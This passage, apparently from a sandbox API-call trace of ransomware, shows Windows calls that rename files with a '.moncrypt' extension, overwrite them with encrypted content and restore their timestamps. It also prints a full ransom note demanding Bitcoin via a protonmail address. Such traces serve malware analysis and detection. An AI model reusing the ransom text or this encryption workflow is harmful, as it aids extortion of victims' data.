out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0052.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0052.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.048] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.048] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\journal\\") returned 0x40 [0052.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.049] GlobalLock (hMem=0x440004) returned 0x550170 [0052.049] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.049] GlobalUnlock (hMem=0x440004) returned 0 [0052.049] GlobalLock (hMem=0x440004) returned 0x550170 [0052.049] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.049] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.049] GlobalUnlock (hMem=0x440004) returned 0 [0052.049] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.049] GlobalUnlock (hMem=0x44000c) returned 0 [0052.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.049] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.049] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0052.049] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.049] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.049] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.049] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.049] GlobalUnlock (hMem=0x44000c) returned 0 [0052.049] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.049] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.049] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.049] GlobalUnlock (hMem=0x44000c) returned 0 [0052.049] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.049] GlobalUnlock (hMem=0x440004) returned 0 [0052.049] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.050] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0052.051] CloseHandle (hObject=0x18c) returned 1 [0052.051] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\я")) returned 1 [0052.052] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 0x54e240 [0052.052] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.052] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.052] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", dwFileAttributes=0x20) returned 1 [0052.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.moncrypt")) returned 1 [0052.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.055] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.055] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xba32 [0052.055] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.055] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.057] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.057] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.057] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.057] GlobalUnlock (hMem=0x44000c) returned 0 [0052.057] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0052.057] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.057] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.057] GlobalUnlock (hMem=0x44000c) returned 0 [0052.057] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.057] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0052.057] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.057] GlobalUnlock (hMem=0x440004) returned 0 [0052.057] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0052.057] GlobalUnlock (hMem=0x44000c) returned 0 [0052.058] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.058] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.058] GlobalUnlock (hMem=0x44000c) returned 0 [0052.058] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0052.058] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.058] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.058] GlobalUnlock (hMem=0x44000c) returned 0 [0052.058] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.058] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.058] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.058] SetFilePointer (in: hFile=0x18c, lDistanceToMove=47666, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xba32 [0052.058] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.058] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.058] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.069] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.069] CloseHandle (hObject=0x18c) returned 1 [0052.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.071] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.071] CloseHandle (hObject=0x18c) returned 1 [0052.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0052.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.071] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.071] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.071] GlobalUnlock (hMem=0x44000c) returned 0 [0052.071] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.071] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.071] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.071] GlobalUnlock (hMem=0x44000c) returned 0 [0052.071] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.071] GlobalUnlock (hMem=0x440004) returned 0 [0052.071] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a258, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0052.072] GetLastError () returned 0x2 [0052.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.075] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.076] CloseHandle (hObject=0x18c) returned 1 [0052.076] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0052.076] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.076] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.076] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.077] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.077] GlobalUnlock (hMem=0x440004) returned 0 [0052.077] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.077] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.077] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.077] GlobalUnlock (hMem=0x440004) returned 0 [0052.077] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.077] GlobalUnlock (hMem=0x44000c) returned 0 [0052.077] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.077] CharLowerBuffW (in: lpsz="JOURNAL.INF", cchLength=0xb | out: lpsz="journal.inf") returned 0xb [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpUsedDefaultChar=0x0) returned 75 [0052.078] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpUsedDefaultChar=0x0) returned 4 [0052.078] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.078] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.078] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.078] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.078] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.078] GlobalUnlock (hMem=0x44000c) returned 0 [0052.078] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.078] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.078] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.078] GlobalUnlock (hMem=0x44000c) returned 0 [0052.078] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.078] GlobalUnlock (hMem=0x440004) returned 0 [0052.078] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.078] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0052.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: 